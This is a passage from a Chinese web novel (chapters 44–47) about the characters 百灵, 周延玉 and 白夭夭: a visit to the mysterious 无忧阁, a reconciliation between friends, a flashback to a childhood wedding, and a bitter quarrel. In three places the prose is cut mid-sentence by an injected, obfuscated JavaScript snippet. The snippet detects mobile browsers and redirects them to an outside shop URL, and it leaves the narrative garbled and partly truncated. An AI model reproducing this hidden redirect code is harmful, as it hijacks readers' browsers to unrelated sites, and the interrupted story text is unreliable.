小厮闻言,识趣地退开了。 无忧阁内萦绕着一股淡淡暖香,闻着确实让人舒心惬意。 周延玉不动声色地打量着往来人群,只见人人脸上都带着藏不住的笑意,除此以外,倒未见什么异常。 难道……真要扮作客人试一试吗? 正纠结着,一股强大的力量自身后袭来。 竟然在这里遇到了同类。 他猛一回头,看见一个身着紫衣的女子正盯着自己。 她右袖空荡,却无半分残缺之人的自卑瑟缩,眉宇间反是一片从容自若。 “无忧阁,忘忧忘情。”霜叶唇角勾起一抹极淡的笑意,直言相邀,“要试试吗?” “……嗯。”周延玉点头应允。 现下比起探究无忧阁的秘密,他对这个陌生强大的同类也充满了好奇。 她是叶知舟的人吗?能出现在这里应该不是巧合吧…… 霜叶引他一路上台阶,最后带他到了一个隐秘幽静的地方。 “先来说说吧,你是有什么烦心事或者人想要忘记呢?”霜叶开门见山问道。 “你们这里。”周延玉避而不答,反问道,“是靠什么让人忘记的?是这阁中的熏香?还……琴声?” 除了无处不在的暖香,他还能听到似有若无的琴声。 他不相信真有什么遗忘之术,但怀疑他们也许下了迷药,或者用了幻术,让人短暂沉溺其中,忘记现实。 “这不重要。”霜叶语气平淡,“重要的是,我们能助你忘却忧愁,并且,永远不再想起。” “这不可能。”周延玉摇头,“记忆岂是说抹去便能抹去的?” “若是不信,何不亲身一试?” 周延玉拧眉思忖片刻,决定随口编造个缘由。 “我喜欢上了一个人,但她不喜欢我,让我很心烦,这事能忘记吗?” “当然。”霜叶追问,“请问你是想忘记这件事,还是想彻底忘记这个人。” 周延玉哑然,竟然还能彻底抹掉有关某个人的记忆吗? 见他迟迟没有回应,霜叶又接着道:“从我的经验来看,忘记这件事是更为明智的选择。” 周延玉本就是胡诌,便顺势应下:“那就忘记这件事吧。” 本以为霜叶会开始作法,没想到她又继续追问细节,让他详述想忘记的那件事是什么。 周延玉支支吾吾,半晌说不出个所以然来。 “我知道这很难启齿,但我保证,这是你最后一次想起这件事了。” 无奈之下,周延玉只得就近取材,将百灵近日待他冷淡之事略略道来。 “她为我差点丢了命,我很在意她关心她,但她似乎不需要我的关心,总把我拒之门外。” “你有向她表明过心意吗?” “没有。” “那就对了。”霜叶突然站起身,抬手指向门外,“你可以走了。” 周延玉一脸错愕,这怎么还没开始就结束了? “我的意思是,你其实没必要来这里,这根本不是什么烦心事。” “什么?”周延玉有些生气,虽然目的是为了探查,但是他说的这些事都是真情实感的。 霜叶不仅没有共情他,还要赶人。 “你应该从来没有过向喜欢的人表明过心意吧。”霜叶面不改色,又坐了回去。 “嗯,那又如何?” “听说过什么叫做欲擒故纵吗?”霜叶循循善诱。 “欲擒故纵?” “是啊,你说的这位对你不理不睬的人,就是在欲擒故纵。” 周延玉在男女之事上可谓一张白纸,根本不懂这些弯弯绕绕的。 霜叶看出他的茫然,继续点拨道:“你仔细想想,她都为你差点付出了生命,你却对她没有任何表示,换作任何一个女子,都不会理你的。” 周延玉如梦初醒。 “那我该怎么做呢?” “你该怎么做?我不是早就说了吗?”霜叶真想上手敲他脑袋瓜一下。 “表明心意……”周延玉喃喃低语,随即又患得患失起来,“她会接受吗?” “她都愿意为你去死了,你觉得呢?”霜叶话说的直白。 “那她……她也喜欢我是吗?”周延玉已然失去了一开始的警惕冷静。 “岂止是喜欢啊……” 周延玉心里乐得像炸开了花。 虽然他很早之前就开始怀疑百灵对他有点意思,但未经人事的他也不敢确定这种知觉是否准确。 如今经过第三人的确认,他也彻底明白和醒悟,百灵对他是情根深重。 “既然懂了,便请回吧。”霜叶再次送客。 “好。”周延玉晕乎乎地应着,整个人都沉浸在那突如其来的幸福浪潮之中。 霜叶将他送到门口,外面的冷风迎面一吹,周延玉发热的头脑稍稍冷静下来,即将迈出的脚步顿住了。 “等等,”他回身,眼底恢复了一丝清明,“你就这样把我送走,不是白白错失了一个客人吗?” 这个女子如果是叶知舟的人,那应该帮着他做生意才对,怎么会劝人离开呢。 “遗忘是逃避的好方法,但并非长久之计,你既然有能力面对,我又何必同你在这里浪费时间。” 霜叶这一番话说的滴水不漏,善解人意。 周延玉一时也分辨不清究竟是她冠冕堂皇的托辞,还是真心话? 但他已无心深究。 此刻,他唯一能确定的是—— 百灵喜欢他。 这便足够了。 …… 与此同时,在周延玉返回的路上,百灵正动身前去找白夭夭。 她们已经许久没有好好说过话了。 白夭夭是个重情重义的姑娘,百灵也是发自内心把她当作真心相待的朋友。 她根本不会想到,报名那天的一个小小插曲,让她们二人离心这么久。 如果早知如此,她就不会写信给夭夭,利用她对小骨的不满让她配合自己做戏。 是她自己有错在先,而且事情拖了这么久,也让当初小小的误会变成了难以言说的隔阂。 百灵总觉得事情不该发展到如此地步。 所幸白夭夭托卫影来传话,让她又看见了希望。 夭夭既然已经做了管家娘子,不知道还住不住原来那个地方。 这次她吸取了教训,不打算找任何中间人传话或者是捎信,要自己亲自见到白夭夭本人。 许是因为她在画皮比试上出了些风头,芜月楼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117679|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人认出了她。 她谎称自己是来见叶知舟的,趁人不注意自己偷偷溜到了阁楼。 白夭夭就住在这样一个狭小低矮的地方。 她她站在门前,试探性地敲了敲门。 没有回音。 ……是睡着了吗?还是说她已经不住在这儿了? 难道她们又要就此错过吗? 百灵深吸一口气,振作精神,再次抬手,更坚定地敲响了门。 “谁啊?” 终于,门内传来了那道熟悉的声音。 “是我,百灵!”百灵几乎是脱口而出,生怕晚上一刻,对方便会消失。 门内沉默了片刻,随即,门扉被从里面轻轻拉开。 两人默然相对,静立无言。仿佛有千言万语堵在胸口,却不知该从何说起。 “你……先进来吧,外面凉。”白夭夭侧身让开,语气如同招呼一位阔别多年的旧友,带着一种小心翼翼的体贴。 自从让卫影替她传话之后,她就一直在等待着百灵的答复。 其实她听到了第一下的敲门声,只是不太敢确定,来人到底是不是百灵。 她害怕不是,所以没有第一时间回应。 “夭夭。”一进门,百灵就等不及和她解释,“那次宴会结束后,我把小骨送回房间后就立刻回来找你了,但却没看见你。” “我中途离开了,大概是那个时候错过了。” 白夭夭如释重负,太好了,只是误会。 “还有报名那次”百灵继续道,语气带着愧疚,“我一开始确实想让你配合我演戏。但没想到叶知舟早早把我安排在了学徒组,我无奈改变了计划,来不及告诉你。” “……原来如此。”白夭夭缓缓点头,心中最后一丝芥蒂也烟消云散。 原来她一直耿耿于怀、横亘在她们之间的误会,竟是这般微不足道的琐事。 误会澄清得如此顺利,反倒让百灵一时语塞,不知接下来该说些什么。 她和白夭夭怀着同样的唏嘘,就这么一点小事,值得她们彼此疏离这么久吗? 没有原不原谅,也没有对不不起,因为在她们心底,对方都未曾真正做错过什么。 相顾无言之下,竟是白夭夭先无声地落下了眼泪。 她们两个同样坦诚直率的人,究竟是如何走到先前那般境地的? 百灵见状,亦是鼻尖一酸,心中触动不已,下意识地抬手,用指尖为夭夭拭去脸上的泪痕。 “……灵姐。”白夭夭带着哭腔,呜咽地唤了一声。 这声呼唤,百灵已不知多久未曾听过了。 她心中动容,不由得上前一步,将仍在轻轻抽泣的夭夭,温柔地拥入怀中。 “我们以后……再也不要这样了,好不好……”白夭夭将脸埋在她肩头,声音闷闷的。 “嗯。”百灵哽咽着回应,“我们以后再也不会这样了,我保证。” 为了安抚白夭夭,百灵这晚选择留下过夜,和白夭夭挤在一张狭小的床铺上。 “以前,我和小五也是这样的。” 白夭夭缩在百灵温暖的怀里,觉得无比安心与幸福。 百灵自然知道小五是谁,也知道白夭夭一直怀念这个曾经相依为命的伙伴。 这是后来她听白夭夭说,小五意外失踪了,她也失去了唯一的亲人。 “小五一定希望你能幸福快乐,”百灵柔声安慰道,“即便没有他在身边,你也能好好生活下去。” “嗯……”白夭夭在她怀中轻轻蹭了蹭,如同确认某种誓言般,又低声重复了一遍,“没有他,我也会好好的。” 45. 第 45 章 许久没有见面,这天夜里,两人聊了许多。 尤其是关于叶知舟,百灵此次前来,除了澄清误会,还有就是从白夭夭口中打探叶知舟的消息。 在得知叶知舟和小五联手做局,让白夭夭重温往事时,百灵震惊不已。 “他们俩竟然能扯上关系?” 一个小流浪汉,一个商人,怎么想都不是一路人。 “小五不是一般人,我后来打听到他不是简单的失踪,而是攀上高枝过好日子去了,能认识叶知舟也不稀奇。”白夭夭解释道。 饶是如此,百灵也觉得事情也太巧合了。 “有没有可能小五也一直在打探你的这些年的行踪,所以自然而然找上了叶知舟。”百灵猜测道。 “有可能吧。” “那小五也太不够意思了。”百灵打抱不平,“他过上好日子了,怎么不把你带上一起呢?这小白眼狼。” 还偷偷追踪,算什么男人。 “其实,他曾经确实想这么做的,是我拒绝了他。” 白夭夭语气平静,随即讲起曾经那段尘封已久的往事。 自从她离开那座破庙和小五生活在一起后,她再也没有上街头卖艺,也再不用挨冻受饿。 确实像小五所说的那样,他们的生活越来越好了。 但白夭夭却感觉到了前所未有的寂寞。 小五依旧是早出晚归,神神秘秘。她则每天窝在那间越来越漂亮的屋子里,熬过漫长的白天,等待小五回来。 那等待从期盼渐渐变成了习惯,又从习惯里生出了一丝茫然。 日子过得太舒坦,太清闲,白夭夭总觉得哪里不适应,浑身的筋骨都像是闲得发痒,她开始想给自己找点事情做。 比如自己做点小手工,拿到街上去卖,听听市集的喧闹。或者是替人跑跑腿送个信,就当是活动活动筋骨,看看外面的天光。 可小五得知之后,非常不满。 他认为,既然白夭夭已经过上了他曾经许诺的、吃穿不愁的生活,为什么还要总想着向外跑,去折腾那些在他看来毫无意义又跌份儿的事情。 为此,他们之间爆发了相识以来最激烈的一次争吵。 最后,两人各退一步,达成了一个脆弱的妥协:白夭夭减少外出的次数,而小五则会尽量抽时间多回来陪陪她。 最初的那段日子还算和谐,两人都小心翼翼地维持着这个约定。 但是渐渐的,裂痕再次出现。 白夭夭像一只被关久了的小鸟,总忍不住想偷跑出去喘口气,而小五承诺的陪伴,回来的次数也越来越少。 白夭夭累了,也懒得同他再吵,两个人就这样维持着一种表面的平静。 直到某天,小五破天荒地空出了一整天的时间,说要好好陪伴白夭夭。 他们白天一起赶集,一起动手做饭吃饭,傍晚并肩坐在院子里欣赏落日晚霞,晚上又手拉着手去逛热闹的花灯会。 白夭夭被这突如其来的、密集的幸福包裹着,心里却总觉得有些不真实,像踩在柔软的云端,随时会跌落。 看完花灯后,小五没有带她回家,而是意外地将她带到了他们曾经一起生活过的那座破庙。 但庙宇已经不是记忆中的那个样子了。 中间那尊曾经斑驳倾颓的泥塑菩萨被重新塑了金身,扶得端端正正,在清冷的月光下浑身散发着庄重而疏离的光晕。 前面的蒲团也早已换新,用料厚实而干净,菩萨前还新添了一个铜制香炉,炉内余烟袅袅,整个庙内香气萦绕,仿佛这里真成了一个香火鼎盛、受人虔诚供奉的圣地。 白夭夭扭头看向身边一脸了然的小五,立刻就明白,这一切的改造和翻新都出自他的手下。 她忽然觉得有些欣慰,毕竟这是她们曾经相依为命、遮风避雨的地方,看来小五心里也一直惦记着。 “今天,是一个重要的日子。”小五抬手无比自然牵住了白夭夭的手。 “什么日子?” 白夭夭诧异,她不曾记得他们有过过什么特殊的日子,从来没有过这种仪式感。 小五没有回话,而是拉着白夭夭一起,在那崭新的蒲团上跪了下来。 白夭夭心里虽充满了困惑,但还是顺着他的力道,乖乖地跪了下来。 “今天是我们成亲的日子。”小五侧过脸,目光缱绻,用她从未听过的柔声说。 “成……成亲!” 白夭夭先是惊讶,缓了片刻,见小五依旧笑盈盈地、无比认真地看着自己,顿时,一股热意冲上脸颊,涨红了脸。 “我……我什么答应要嫁给你了。” “怎么?”小五牵着她的手又收紧几分,“你难道还想嫁给除我之外的其他人吗?” “我当然也没这么想。”白夭夭忙不迭地否认,心跳得飞快,“只是,这也太快了吧,我们年纪都还小呢……” 小五坚定地摇了摇头。 “只有这样,才能让我安心。” 白夭夭抬眸,望进他幽深的眼睛里:“什么?” 小五抬起白夭夭的手在自己脸颊上轻轻触碰,语气中透着淡淡忧伤:“只有这样,才能确认你是属于我的,我才能安心。” 白夭夭似乎察觉到了什么。 “你怎么了,小五?”白夭夭伸手扶上他的脸,关切道,“是有人欺负你了吗?告诉我我帮你出气,大不了我们重头再来,反正我能吃苦。” “你多想了。”小五笑着否认,“我只是突然发现,自己比想象中还要喜欢你,离不开你,所以想跟你早早成亲定下来。” 小五的心意白夭夭自然清楚,只是这么热烈直白的表达,还是头一次。 她感觉到自己的手心沁出一层薄薄的汗,紧张地垂下眼,不敢再看他。 “所以,你愿意吗?”小五用双手轻轻捧起白夭夭发烫的脸,迫使她抬起头,与自己灼热的目光对视。 “……嗯。”白夭夭低低地挤出一声回应,随即又飞快地挪开了视线,心快要从嗓子眼跳出来。 小五看着她羞赧的模样,忍不住上手捏捏她柔软滚烫的脸颊。 “真可爱,”他低声说,眼神暗了暗,“想一口气吃掉。” 白夭夭嘟起嘴,娇嗔道:“你舍得吃掉我嘛?” “舍不得,我要把你藏起来,免得被别人吃掉。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17121543|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两人又打情骂俏斗嘴一番,白夭夭才意识到一个很实际的问题。 “我们这算是什么婚礼呀?没有穿新郎新娘的漂亮衣服,也没有一个见证的人,这能行吗?” “这不是有菩萨吗?”小五说着,变戏法似的从怀里掏出一方鲜艳的红盖头,语气郑重,“有神明为证。” 他亲手小心翼翼地将那方红盖头,罩在了白夭夭的头上,她的世界,瞬间被一片喜庆而朦胧的红色笼罩。 “请菩萨见证我小五,还有我最美的新娘白夭夭,今日在此结为夫妇。无论贫穷困苦,无论荣华富贵,永不相离。” “永不相离……”盖头下,白夭夭也跟着他,轻轻地、虔诚地重复了一遍最后几个字。 两人对着那尊沉默的菩萨,虔诚地叩拜下去。 然后,小五深吸一口气,缓缓掀开了白夭夭的盖头,他的手情不自禁地抚上她光滑细腻的脸颊,指尖带着微颤。 白夭夭似乎意识到接下来要发生什么,心脏砰砰直跳,紧张地闭上了双眼。 然而,那陌生而柔软的触感,最终却只是停在了她的额头上,留下一个漫长而克制的轻吻。 “不急。”小五的声音沙哑,克制住某种翻涌的欲望,“等我们都再长大些。” “嗯。”白夭夭睁开眼,看着他克制而深情的模样,心里软得一塌糊涂,笑着点了点头。 小五这种发乎于情、止乎以礼的举动,让白夭夭很是感动。 而且,仅仅只是额头上的轻轻一吻,那温热柔软的触感,就已经让她心神荡漾。 这晚,他们便歇在了这座焕然一新的庙中,像无数个往常的夜晚一般,依偎着,相拥而眠。 第二天清晨,天光微亮,白夭夭下意识地伸手,想抱住身边的小五,却摸了个空,身边的位置早已冰凉,空无一人。 她心里一慌,猛地坐起身。 最后,在小五的枕头底下,发现了一张折叠好的纸条,和一小叠足够她生活许久的钱财。 纸条上,只写了两个字:“等我。” 白夭夭捏着纸条,心里七上八下。 她以为小五只是像往常一样,临时有事出去,很快便会回来,她便在庙里,从清晨坐到正午,从日暮坐到深夜。 然而,那个熟悉的身影,再也没有出现。 他彻底消失了,就像人间蒸发一样。 后来的后来,白夭夭反反复复地回想这个夜晚,一遍又一遍地问自己,小五究竟为什么要用这样一种方式,不辞而别。 这些年来,她大概想明白一些了。他们二人,或许注定是只可共苦,不能同甘。 小五依靠自己的本事和手段,过上了他想要的好日子,她也沾了光,不用再为生计奔波劳累。 但她觉得自己更像是小五精心豢养的一只小鸟,被他安置在华美的笼子里,只需乖巧、听话、温顺地待在他划定的范围内,哪里都不用去,什么也不用想。 可她不是一只小鸟,自然不会心甘情愿地为他永远停留,也不会真的傻傻地,在原地等一个归期不明的人。 所以她时常想,就算时光倒流,一切重来一次,恐怕还是会走向同样的结局。 46. 第 46 章 百灵听完白夭夭的叙述,内心久久不能平静。 “夭夭,万一,我是说万一,小五又重新出现在了你面前,你该怎么办?” “那我先冲上去狠狠揍他一顿,然后再假装不认识他,潇洒走开。”白夭夭用开玩笑的语气说道。 百灵知道,她大概是做不到这样,因为换作她,自己也真的不知道该怎么面对。 “好了不说他了。”白夭夭自觉转移了话题,“你不是好奇叶知舟的无忧阁吗?我知道那是做什么的。” “太好了。”庆幸之余,百灵也惊讶白夭夭竟然能得到如此多的消息。 白夭夭回忆着,将叶知舟让大虎喝下忘情水,还有诱骗她的事情一并说出。 “忘情水?能有这么邪乎的事吗?”百灵显然不信。 “我一开始也是这么想的。”白夭夭道,“但我后来也找机会试探过大虎,他是真的一点都不记得我了。” “那他是否神志清醒?”百灵联想到了被妖怪夺舍的王二铁。 “清醒的。”白夭夭点了点头,随后歪头道,“为何要问这个?” “因为……” 说来话长。 百灵陷入了深深的纠结中,若要和白夭夭解释清楚,那必然牵扯到了很多事,尤其包括周延玉。 可不说的话,她心里又过意不去,毕竟她们最初的隔阂就是因为她选择隐瞒一些事。 “没事,不方便的话,可以不说。” 白夭夭主动开口替她解围,但语气中的落寞难以掩藏。 “没什么不方便的,是事情很复杂,我不知道从何开口。” 白夭夭的退让使得百灵选择了坦白,毕竟她对自己也从来都是坦诚的。 而且是周延玉欺骗她在先,她这样做,也不算违背约定。 她从乱葬岗捡到那副骨头开始,一直说到前几日周延玉隐瞒身份的事。 她本不准备把周延玉欺骗她的事情说出来,只是这事郁结于心,她也急需一个出口宣泄,正好白夭夭出现了,她说都说了,也不差这一件事。 “我就知道他不安好心,上次在宴席上趁着醉酒故意在你身上靠了那么久,就是想占你便宜。”白夭夭愤愤不平。 她这么一说,百灵死去的记忆又重新活了过来。 “他不仅喜欢你,他还爱慕你,想跟你在一起。” 宋清河的话浮现在她脑海。 “所以夭夭,你觉得他喜欢我吗?”百灵问。 “喜欢,但不是正常人的喜欢。” “怎么说?” 白夭夭头头是道开始分析:“你看啊,他明明可以光明正大地追求你,但非要藏在女子的壳下,为的就是借着女子身份让你放松警惕,然后接近你,意图不轨。” 百灵似懂非懂点点头:“有点道理……” “你信我没错。”白夭夭又添油加醋,“当初大虎对我就是这样,他也就是妖怪,他们都这样,妖怪哪懂什么情情爱爱的。” “大虎是妖怪?”百灵注意到了一个盲点。 “是啊,我之前偷听过他和叶知舟的谈话。” “叶知舟果然和妖怪有勾结。”百灵终于可以笃定自己的猜想。 “大虎还不算什么呢。”白夭夭接着补充道,“前阵子他身边又来了个新的女妖怪,看着比大虎厉害多了。” 关于霜叶的身份,是白夭夭用激将法刺激叶知舟知道的。 自从画皮比试第二场结束后,叶知舟将一门心思投入了无忧阁中。 有不少人从芜月楼调离到无忧阁帮忙,白夭夭也在其中。 她其实在哪里都无所谓,只是不想让叶知舟轻而易举如愿。 “你身边不是有了个新人吗?还要我过去干嘛?” “你是说霜叶?”叶知舟愣了两秒,随即笑道,“她怎么比得上你呢。” 白夭夭已经习惯了叶知舟说这些漂亮话跟呼吸一样,她从来都是左耳进右耳出。 “我可不敢当。”白夭夭并不领情,“她长得比我好看,肯定也聪明能干,我可是乞丐一个。” “那是在他们眼里,你在我这,可是块宝玉。” 白夭夭学着他样笑眯眯道:“既然你这么看得起我,那就把她赶走吧。” “怎么?你吃醋了,就这么容不下她?” 白夭夭双手交叠,蛮不讲理道:“对啊,就是容不下。” “何必和她计较。”叶知舟意味深长道,“我们才是同类。” 白夭夭故作困惑,“什么意思?” “她和大虎是一样的,不过是个听从命令的工具人罢了。” 得到确定的答案后,白夭夭部分答应了叶知舟。 她白天在无忧阁,晚上还是回来芜月楼。 “夭夭……”百灵听完后一脸疑云,“叶知舟是有什么把柄抓在你手里吗?” “什么?”白夭夭并未反应过来。 “我怎么觉得他对你一点也不设防呢?”百灵很早开始就有这个困惑,“还是说他太过自信了?” “肯定是他这个人自大又狂妄。”白夭夭想都不想,“以为我就算知道了,也不能拿他怎么样。” 这么解释似乎也能说得通,但是百灵心中总觉得哪里不对劲。 “说起来,霜叶前阵子似乎被叶知舟派去执行什么大任务了。” “这你都知道吗?”百灵震惊。 “不是,我猜的。”白夭夭忙解释,“因为她上次回来之后没了一条手臂,我估计发生了什么事。” “会和无忧阁有关系吗?” “有可能,而且霜叶现在基本上都是在无忧阁,我和她抬头不见低头见的,只是嘛,她不是很爱说话。” 百灵若有所思点点头,现在倒是有了线索,只是不知道该从何开始。 “不过灵姐你尽管放心,我会想办法和她套话的。” “夭夭,谢谢你。”百灵心中说不出的感动。 “话说回来,你打算怎么处理那个学徒啊?” 白夭夭又把话头倒回了周延玉身上。 “其实,我也不知道……” 百灵虽然生气周延玉骗她,但他们目前来说还是合作关系,而且她还答应了要做他的身体,如果要彻底划清界限也不容易。 “走一步,看一步吧。”她无奈道。 …… 第二天,百灵从白夭夭住处返回客栈时,一眼就看见了守在她房门口的那个身影,是周延玉。 他抱臂靠在门边,微垂着头,不知已在这里等了多久。 真是怕什么来什么。 听到脚步声,周延玉立刻抬起头,脸上的疲惫与困倦瞬间被驱散,他直起身迎了上来。 “你昨晚去哪儿了?我问了卫影,他也不知道。”他的语气里带着难以掩饰的关切。 百灵不想与他多言,直接无视了他的问题,侧身就要推门进去。 “说话。”周延玉却抢先一步,抬手挡住了她刚推开一半的门板,眉头紧紧蹙起,“你彻夜不归,万一遇到危险怎么办?你知不知道我很……” “和你有什么关系?”那未说出口的“担心”二字,被百灵生硬地打断,“我去哪里,还需要跟你提前报备吗?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128024|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我不是这个意思。”被她这么一堵,周延玉心头泛起一阵酸涩的委屈。 “不管你是什么意思,现在你也看到我人了,我好端端地站在这儿,请回吧。”百灵冷漠地开口赶人。 说完,她再次伸手要去推门。 “等等……”周延玉却不依不饶,手臂稳稳地拦在那里,“我有些话想同你说,就一会儿,给我点时间,好吗?” “不好。”百灵侧过身子,用整个姿态表示着抗拒。 “百灵。”周延玉深吸一口气,忽然伸手,有些强硬地扶住了她的肩膀,迫使她转过身来面对自己,他的力道很大,带着一种不容抵抗的强硬。 他看着她,语气努力维持着温和与坚定:“我知道你在生我的气。但请你至少给我一个解释和改过的机会,好不好?” 百灵本欲继续冷言相对,但目光触及他眼底那明显的青黑痕迹时,坚硬的心肠终究还是松动了几分。 “我只给你一刻钟的时间。”她最终还是妥协了。 成功如愿,周延玉压抑许久的心情瞬间好转了几分。 她果然……心里还是有他的。 两人一同进了房间,百灵率先发话,语气带着审问:“你是怎么知道我在生气的?你和卫影聊了什么吗?” 关于周延玉真实性别的事,也只有卫影知道了。 “没,我是猜出来的。”周延玉摇头否认。 “猜出来的?”百灵惊讶,这怎么可能猜的出来,“所以你不知道我为什么生气,只知道我生气了吗?” “也不是完全不知道,”周延玉试图解释,“我只是猜了个大概,也不知道……猜得准不准。” “那必然猜不对。”百灵摇了摇头,后悔自己放他进来的决定,“你走吧。” 被无数次驱赶的周延玉一脸茫然和无措。 百灵不再客气,直接上手推搡着他,将他往门口挤去。 “为什么?”周延玉一把捉住百灵推拒他的手腕,眼中充满了不解与受伤,“为什么要这么对我?为什么总是要赶我走?” 他越说越觉得委屈,声音里都带上了轻微的颤抖:“我明明都知道错了,你为什么还是不肯理我,不愿见我?到底是为什么?” 明明是喜欢他的啊,为什么又要一次又一次地把他推开呢? “……” 百灵被他一连串理直气壮的质问给震住了,一时僵在了原地。 “今天你不给我一个明白的说法,我绝对不会离开。”周延玉步步紧逼,态度罕见地强硬。 “为什么?”百灵回过神来,知道这回是彻底躲不过去了。 既然如此,那干脆说个明白好了。 “你应该问问你自己,周、延、玉。” 百灵第一次连名带姓地叫他,同时用力挣脱了他的束缚:“你骗我骗得好辛苦啊,打着同盟的幌子,一次又一次从我这里套话?我还真没想到,能被你从头骗到尾……” “骗你……”周延玉显然还没反应过来,眼神里带着发自内心的困惑,“我骗你什么了?” “呵。”百灵简直要被他这副模样气笑了,“你好好想想,你占了我多少次便宜?我都因为以为你是女子,才不跟你计较。” “我……”周延玉刚想出声辩解,忽然,一道灵光如闪电般划过脑海,他恍然大悟,整个人都僵住了。 “你是男是女?” “女。” 当初随口说出的话,今天却成了回旋镖重重扎在他的心口。 原来她就为了这个生气吗? 她难道……不喜欢自己吗? 47. 第 47 章 “那时我初入冥界,为了隐藏身份,迫不得已才出此下策。”周延玉的声音带着艰涩。 “那后来呢?”百灵毫不退让地追问,目光如炬,“后来你口口声声说与我结盟,要互相信任,为什么从不向我澄清?” 周延玉被她问得哑口无言。 “我只是害怕。”许久,他才终于组织起语言,声音低了下去,“害怕你得知真相后,就再也不愿理我了……” “那恭喜你了。”百灵胸中的气闷没有半分消减,反而因他这句坦白更添了一层失望,“你的害怕,如今要成真了。” 房间里的氛围瞬间降到了冰点,陷入一种令人窒息的凝滞。 “如果你还要些脸面的话,就自己主动离开吧。”百灵再次下达了逐客令,语气冰冷。 “我把我的命,我的妖丹都交给你了!”周延玉没有动,眼底泛着红,语气里带着不解和委屈,“你为何还要在这一件小事上,如此斤斤计较?” “小事?”百灵简直要被他气笑了,“周延玉,如果你认为坦诚相待、最基本的信任是小事,那我们之间无话可说,我们也没必要继续合作下去了。” 她顿了顿,决绝地补充道:“至于你的心脏,我会原封不动地还给你,你放心好了。” 周延玉彻底愣住了,他没料到百灵的反应会如此激烈,事情的走向完全脱离了他的预想和掌控。 “是我骗了你,是我的错,对不起。”他慌忙试图挽回这糟糕透顶的局面,“你想让我怎么弥补都可以,只求你……不要就这样断绝我们的关系,好吗?” 百灵紧闭双唇,一言不发。 但她沉默的姿态,已然是最明确的拒绝。 “至少等到比试结束,行吗?”周延玉如同走在薄冰上,小心翼翼地讨价还价,“等到那时,你说什么我都答应你,就算是永远不再出现在你面前……” “你本来就不该出现在我面前,你是妖怪,我是鬼,本来我们就是两路人。” 百灵的话像冰锥子狠狠扎进周延玉的胸口。 ……她说的是气话还是真心话? 她心里一点都没有他吗?那为什么要冒险给他找眼珠子? “至于那副身体,我不会食言,你的妖丹我要拿来做眼睛,比试结束后,你带走身体,我们也再也不要见了。”百灵冷冰冰和他划分界限。 其实她并不想事情做这么绝,但比起未来可能要面对的更复杂、更令人无措的情感纠葛,这似乎成了最快刀斩乱麻的办法。 “好……都听你的。”周延玉大脑已经一片空白,除了接受,别无选择。 末了,他仍不死心,带着最后一丝微弱的期盼追问:“那在这一阵子,在比试结束前,你也一点都不想看见我,是吗?” “是的。”百灵像是要彻底斩断所有退路,冷酷地回应,“免得你总是对我的画皮工作指手画脚,” 她甚至刻意加重了语气补充道:“真的很烦人。” 既然下定决心要分割,就不能有任何藕断丝连。 “你觉得我烦人吗?”周延玉的心一次又一次坠入谷底,“那我身上有没有一点,哪怕就一小点,让你觉得不讨厌的地方呢?” 他原本想问的是“喜欢的地方”,可话到嘴边,终究是害怕听到更残忍的答案,只能狼狈地退而求其次。 “没有。”百灵几乎不给自己任何思考的时间,斩钉截铁地脱口而出。 “……好,我明白了。”周延玉像是被瞬间抽干了所有力气,连站立都显得有些勉强。 他已经没有勇气,再问下去自取其辱了。 “如你所愿……我不会再来打扰你了。” 周延玉一步步走出房间,只觉得心如死灰,万念俱寂。 是假的。 无忧阁那人说的,果然全是骗人的鬼话,把他当成了傻子一样戏弄。 他满心欢喜,鼓足勇气想来表明心意,得到的却是最无情的拒绝,和彻底断绝关系的宣言。 百灵根本就不喜欢他。 甚至……是讨厌他的。 他忽然有些后悔,如果自己能再沉得住气一些,是不是就能忍住不来找她对质?这样,至少表面上还能维持着和平的假象,不至于落到如此不堪的境地。 想到这儿,他牵起嘴角,自嘲似的低笑出声。 周延玉,你真是疯了…… 她都把话说到这个份上了,你还在幻想什么呢?难道还能继续装作若无其事吗? 怎么可能呢?明明…… 明明是他自己动心了才对。 是他喜欢百灵,喜欢得不得了。 所以,即使她方才说了那么多狠绝的话,他也生不起半分气来,只觉得心口像是被撕裂开,难过得快要无法呼吸。 当这个残酷的认知清晰地浮现在脑海时,周延玉站在百灵紧闭的房门前,缓缓抬起头,试图将涌上眼眶的酸涩逼回去。 然而,一滴温热的液体还是不受控制地,从他眼角悄然滑落。 上一次流泪,似乎还是送别父母之时,他在父母面前强撑着坚强,背地里却不知偷偷掉了多少眼泪。 这一次又要掉多少眼泪呢…… …… 门在周延玉身后关上的那一刻,百灵维持着那个决绝的姿态,在原地僵立了许久。 